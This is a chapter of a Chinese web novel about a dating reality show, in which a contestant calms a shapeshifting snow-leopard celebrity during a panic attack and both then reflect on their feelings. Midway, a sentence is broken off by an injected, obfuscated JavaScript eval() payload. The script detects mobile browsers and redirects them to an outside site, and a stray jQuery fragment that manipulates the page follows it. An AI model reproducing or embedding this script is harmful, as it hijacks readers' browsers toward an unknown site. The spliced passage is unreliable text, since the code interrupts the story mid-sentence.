杂物间的门被轻轻推开一条缝,光线渗入,勾勒出温眠略显单薄却挺直的背影。
她没有立即出来,而是侧身对里面又低声嘱咐了几句什么,这才走到门口。
顺便仔细地反手带上门,隔绝掉所有试图窥探的视线。
门外,所有人的目光顿时都聚焦在她身上。
林远超第一时间上前一步,眼中带着毫不掩饰的关切,问道:”温眠姐,凛哥怎么样了?“
夏薇薇更是吓得眼圈都红了,见他已经主动询问,欲言又止。
节目组工作人员和超市经理则满脸全是紧张,等待着她的“判决”。
和嘉宾们单纯的担忧不同,节目组和场地方都有义务保障大家的安全,几个人紧张得要死。
如果谢凛这种级别的明星真在这里出了什么意外,他们加在一起也不够粉丝喷的。
直播镜头牢牢对准了温眠,弹幕疯狂滚动着。
温眠脸色依旧很差,额角满是细密的汗珠,但神情已经恢复了惯常的淡然。
只是,眉眼间有一丝难以掩饰的疲惫,挥之不去。
她看向在场的所有人,语气平稳:“让大家担心了,确实是急性焦虑发作。他现在情况稳定了很多,但需要安静休息,不能再受强烈刺激。”
接着,转向节目组的跟拍助理,“能麻烦您联系一下导演吗,他需要立刻回别墅休息,这里的环境不适合他恢复。”
【呜呜呜姐姐看着好累啊,辛苦了,我身边有这样的朋友,每次都要费超大力气陪她……】
【急性焦虑症发作起来真的很吓人,凛凛好可怜,一定要好好的啊!】
【所以是要回别墅了吗?直播还继续吗?】
【只有我觉得温眠对谢凛的状况也太了解了吗?这已经不是普通朋友了吧?】
助理早已接到导播的指示,迅速会意,对着镜头解释道:“大家已经看到了,谢凛先生因为身体突发不适,需要中断任务返回别墅休息。出于对嘉宾健康的考虑,我们会调整这边的拍摄计划。其他几组的直播安排不变,大家可以前往观看。”
直播信号没有切断,镜头跟随着工作人员,缓缓走进杂物间的门。
谢凛已经勉强站了起来,整张脸苍白得吓人,银灰色的头发被汗浸湿,凌乱地贴在额前。
他微微低着头,避开朝向自己的摄像机,似乎不愿被人看到如此狼狈的一面。
整个人透着一股劫后余生的虚弱和易碎感。
借着一个工作人员的搀扶,他脚步有些虚浮地走出来。
经过温眠身边时,顿了一下,极轻地朝她的方向偏了下头,好像在确认她的存在。
然后,收回视线,被工作人员护着走向节目组安排的车。
温眠的手指在身侧微微蜷缩了一下,面上却不动声色。
只是下意识追随着他安全上车的眼神,暴露了她内心的关切。
【啊啊啊凛神怎么这么脆弱,我还是第一次见他这样……】
【他刚才是不是看了温眠一眼?】
【肯定是啊!这种时候本能会寻找让自己安心的人吧。】
【完了,我磕到了,这该死的依赖感!】
【前妻姐上大分!(不是)】
【你们这群人!阿远和薇薇都还在呢!】
“我们也回去吧,温眠姐。”林远超的声音在身边响起,他看向她,体贴地说,“你看起来也需要休息。”
温眠回过神,对上林远超并没有任何介意的视线,心里再次掠过一阵歉意。
今天的约会和直播,完全被她搅乱了。
“嗯,好。抱歉,阿远,今天……”
“没事,”林远超大方地笑了笑,打断了她的道歉,“突发状况,谁也不想的。薇薇姐,你要和我们一起回去吗,车应该准备好了。”
夏薇薇点点头,跟上来,眼睛还红红的。
“温眠姐,刚才谢谢你,要不是你……我们那么多人真的不知道该怎么办才好了。”
她小声对温眠说着,语气真诚,带着浓浓的后怕。
温眠摇摇头:“没关系,力所能及罢了。”
——
回程的车厢里,气氛有些微妙。
温眠和林远超坐回了自己那边工作人员跟上来的车,夏薇薇和她的摄像等人则坐了另一辆。
车内镜头下,林远超在试图找些轻松的话题,温眠也尽量配合着应答,但两个人明显都有些心不在焉。
林远超能看出很想问刚刚发生的一切,但最终忍住了。
而温眠的思绪也还萦绕在刚才的杂物间里,反复闪回谢凛那双充满恐惧和依赖的金色瞳孔,以及他无意识偏向自己的细微动作。
她强迫自己不再去想,将视线投向窗外飞逝的街景。
直播镜头一路跟随他们回到别墅。
别墅里,其他几组嘉宾已经完成了任务,正聚在客厅闲聊。
大家显然也通过直播知道了那起突发事件,见到他们不分先后地回来,尤其是看到被工作人员搀扶着的谢凛时,都纷纷围过来。
“谢凛先生没事吧,现在有没有好一点?”苏蔓柔声问道。
坐在沙发上的霍骁收起平时玩世不恭的表情,听着旁边的许星文律师本能发作,和他讨论起这是否涉及节目组的责任。
沈安娜抱着手臂,挑了挑眉,没说话,但眼神里也有一丝询问的意味。
除了只是淡淡看了一眼的程让之外,每个嘉宾在镜头前都或多或少表达了对谢凛的担心。
“需要休息,大家尽量保持安静。”
工作人员解释了一句,便扶着谢凛径直上了楼,送回他的房间。
夏薇薇被几位女嘉宾拉过去,叽里咕噜凑在一起聊起了事情的经过。
林远超则有些手足无措地站回了人群中。
导演组适时出现,声明除了夏薇薇和谢凛组由于突发情况,采购目标没有完全实现之外,其他组,哪怕是半途离开的温眠和林远超,都顺利完成了任务。
而且直播到后半程才发生意外,即使夏薇薇和谢凛需要采购的物品没有买全,也已经足够。
所以,明天的烛光晚餐环节将照常进行,希望大家能调整好状态。
同时话里话外还暗示了一下,每个人都还是要和这次抽到的约会对象共进晚餐,无论今天发生了什么。
这话的特指倾向有些强烈,温眠闻言,在其他人刺痛她的探究目光中,下意识看了一眼林远超。
对方也正好在看她,对她露出一个略显单纯的笑容,看不出心怀芥蒂。
她又用余光瞥了一眼楼梯方向,心情有些复杂。
直播还在继续,其他分频都已经关闭,只留一个主房间放大家的互动。
愿意的嘉宾可以留在客厅交流,或是和弹幕聊聊天。但她没有这份余力,只是对着镜头和观众勉强点点头,便也转身上了楼。
“我有点累,先上去休息一下。”
只是,她没有径直回自己房间,而是在楼梯口停顿了片刻,目光不由自主投向谢凛紧闭的房门。
那里静悄悄的,仿佛早些时候的惊心动魄从未发生过。
她站了几秒,最终还是没有过去。
直到关上门,隔绝了楼下的声响和无处不在的镜头,温眠背靠着门板,才允许自己真正松懈下来。
疲惫感如潮水般涌上,她缓缓撑着坐到书桌前,把自己扔进扶手椅,抱住了膝盖。
手心里还残留着触碰谢凛手背时那滚烫颤抖的感觉,耳边还回荡着他破碎的气息。
在种种零落的记忆之中,最清晰的是他最后看向她时,逐渐恢复清明的眼睛里,褪去戒备后的信赖。
她用力闭了闭眼,心脏像被小猫轻轻挠了一下。
有点痒,有点软,还有点难以言喻的柔和。
事情的发展偏离了她预想的轨道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448548|185209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她对他的关注,早已超出了对一只竟然能变成人类的雪豹纯粹的好奇和保护欲。
在他失控时不顾一切冲过去的冲动,看到他虚弱时心底难以抑制的阵痛……
这些情绪指向的究竟是谢凛这个人,还是他的另一重身份,她好像,彻底分辨不清了。
——
与此同时,几墙之隔的房间里。
谢凛并没有睡。
他只是躺在床上,睁着眼睛看着天花板发呆。
节目组随行的医护人员为他提供了少许镇静剂。
药物的效果让他脱力,无法思考,但身体残留的失控感和险些暴露的恐惧,仍能使他颤抖。
脑海中漫无边际的思绪里,反复回放的,是超市令人窒息的嘈杂,和刺眼的光。
更是濒临崩溃边缘的无助。
然后……一次次化作她推开灰暗铁门带进来的光线,她冷静镇定的声音,她微凉指尖的触碰。
还有那句,“别怕,我来了”。
他下意识摸了摸自己的手臂,那里被自己指甲掐出的红痕还在隐隐作痛,提醒着他方才的狼狈和失控尽数落入了她的眼中。
极致的庆幸和后怕在他胸腔里翻涌——如果不是她,他不敢想象后果。
幸好是她,但又不幸是她。
他最不堪最脆弱的一面,被她看了个彻底。
除了强烈的窘迫,随之而来的,还有一种更深的、连他自己都尚未明晰的依赖感。
在那种情况下,他本能拨出的号码是她的,而她也真的来了。
他烦躁地翻了个身,将脸埋进枕头里。
枕头上橘子味的洗涤剂不管闻了多久,依然让他不适应。
手机屏幕亮起,显示着无数条未读消息和未接来电。
来自他的经纪人,公司,和为数不多的朋友们。
他看都没看直接划掉,手指却在无意中点开了那个没有存名字却已然熟悉的头像。
鬼使神差地,他发了一条消息过去。
【谢凛:醒了。没事了。】
发送完,他立刻开始后悔,在床上打了个滚,烦躁地踢了被子。
多此一举的消息,显得很蠢。
但没过几秒,他又爬起来盯着屏幕。
等了一会儿后,屏幕亮起。
【温眠:嗯。节目组准备了清粥小菜,需要的话可以请工作人员送上去。】
公事公办的口吻,平静无波,依然如先前一样疏离。
和他最鲜明的印象中,那个不顾一切冲过来的身影,截然不同。
谢凛盯着那条信息,看了足足半分钟。
心里那点莫名其妙的期待,像是被细针戳破的气球,咻地一下瘪了下去。
取而代之的是挫败。
他抿紧唇,手指用力在屏幕上敲打着。
外放的按键音噼里啪啦,发泄出一部分心里的不爽。
【谢凛:谢谢。】
干巴巴的两个字。发送。
他扔开手机,觉得好不容易好一点的胸口更堵了。
她当时为什么会来?是因为她的职业本能和对动物的职责感?是因为她对自己这个能变成人的雪豹的特殊关注?
还是……哪怕有那么一点点,是冲着他谢凛这个人?
但这个念头刚冒出来,就被他狠狠压了下去。
怎么可能。
她平时看他的眼神,和偶尔那么一两次看到他控制不住露出的耳朵尾巴时的眼神,完全不同。
抓了抓自己本就被打乱的银灰色头发,他混乱了。
既感激她的存在和帮助,又微妙地抵触这种疑似建立在自己“非人”特质上的联系。
她看的是他,但又不是他。
有点说不清道不明地,他甚至嫉妒起那个能让她露出温柔眼神的、作为动物的自己。
这种陌生的情绪,让他感到困惑和抗拒。